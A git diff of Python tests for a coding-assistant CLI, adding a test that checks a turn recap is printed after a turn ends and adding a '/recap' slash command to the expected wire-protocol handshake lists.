--git a/tests/ui_and_conv/test_visualize_running_prompt.py b/tests/ui_and_conv/test_visualize_running_prompt.py index 77b23e31..3a178b3e 100644 --- a/tests/ui_and_conv/test_visualize_running_prompt.py +++ b/tests/ui_and_conv/test_visualize_running_prompt.py @@ -10,7 +10,14 @@ from pythinker_code.tools.display import TodoDisplayItem from pythinker_code.ui.shell.prompt import BgTaskCounts, CustomPromptSession, PromptMode, UserInput -from pythinker_code.wire.types import ApprovalRequest, StatusUpdate, SteerInput, TextPart +from pythinker_code.wire.types import ( + ApprovalRequest, + StatusUpdate, + SteerInput, + TextPart, + TurnBegin, + TurnEnd, +) shell_visualize = importlib.import_module("pythinker_code.ui.shell.visualize") # Sub-modules for monkeypatching internal names (Live, _keyboard_listener, console) @@ -45,6 +52,7 @@ def __init__( btw_runner=None, cancel_event, show_thinking_stream=False, + show_turn_recaps=False, ): called.append(("init", initial_status, cancel_event)) assert prompt_session is not None @@ -628,6 +636,47 @@ async def receive(self): await task +@pytest.mark.asyncio +async def test_prompt_live_view_prints_turn_recap_after_turn_end(monkeypatch) -> None: + invalidations: list[str] = [] + printed: list[object] = [] + + class _PromptSession: + def invalidate(self) -> None: + invalidations.append("invalidate") + + class _Wire: + def __init__(self) -> None: + self._messages = [ + TurnBegin(user_input="implement recaps"), + TextPart(text="Implemented a /recap command."), + TurnEnd(), + ] + + async def receive(self): + if self._messages: + return self._messages.pop(0) + raise shell_visualize.QueueShutDown + + monkeypatch.setattr( + _live_view_mod.console, "print", lambda *args, **kwargs: printed.extend(args) + ) + + view = _PromptLiveView( + StatusUpdate(), + prompt_session=cast(Any, _PromptSession()), + steer=lambda _content: None, + show_turn_recaps=True, + ) + + await view.visualize_loop(cast(Any, _Wire())) + + plain = "\n".join(getattr(item, "plain", str(item)) for item in printed) + assert "※ recap: Implemented a /recap command." in plain + assert "disable recaps in /settings" in plain + assert invalidations + + @pytest.mark.asyncio async def test_live_view_reject_does_not_reject_background_requests_from_other_sources() -> None: view = _LiveView(StatusUpdate()) diff --git a/tests/web/test_static_cache_headers.py b/tests/web/test_static_cache_headers.py index 8dd2b716..fae7a264 100644 --- a/tests/web/test_static_cache_headers.py +++ b/tests/web/test_static_cache_headers.py @@ -9,7 +9,9 @@ from pythinker_code.web.app import STATIC_DIR, create_app -_needs_static = pytest.mark.skipif(not STATIC_DIR.exists(), reason="web static assets not built") +_needs_static = pytest.mark.skipif( + not (STATIC_DIR / "index.html").exists(), reason="web static assets not built" +) def _make_client() -> TestClient: diff --git a/tests_e2e/test_wire_protocol.py b/tests_e2e/test_wire_protocol.py index 03651aa1..53a149a3 100644 --- a/tests_e2e/test_wire_protocol.py +++ b/tests_e2e/test_wire_protocol.py @@ -49,6 +49,11 @@ def test_initialize_handshake(tmp_path) -> None: "description": "Analyze the codebase and generate an `AGENTS.md` file", "aliases": [], }, + { + "name": "recap", + "description": "Recap Pythinker sessions. Usage: /recap [today|yesterday|week|YYYY-MM-DD]", + "aliases": [], + }, { "name": "compact", "description": "Compact the context (optionally with a custom focus, e.g. /compact keep db discussions)", @@ -219,6 +224,11 @@ def test_initialize_external_tool_conflict(tmp_path) -> None: "description": "Analyze the codebase and generate an `AGENTS.md` file", "aliases": [], }, + { + "name": "recap", + "description": "Recap Pythinker sessions. Usage: /recap [today|yesterday|week|YYYY-MM-DD]", + "aliases": [], + }, { "name": "compact", "description": "Compact the context (optionally with a custom focus, e.g. /compact keep db discussions)",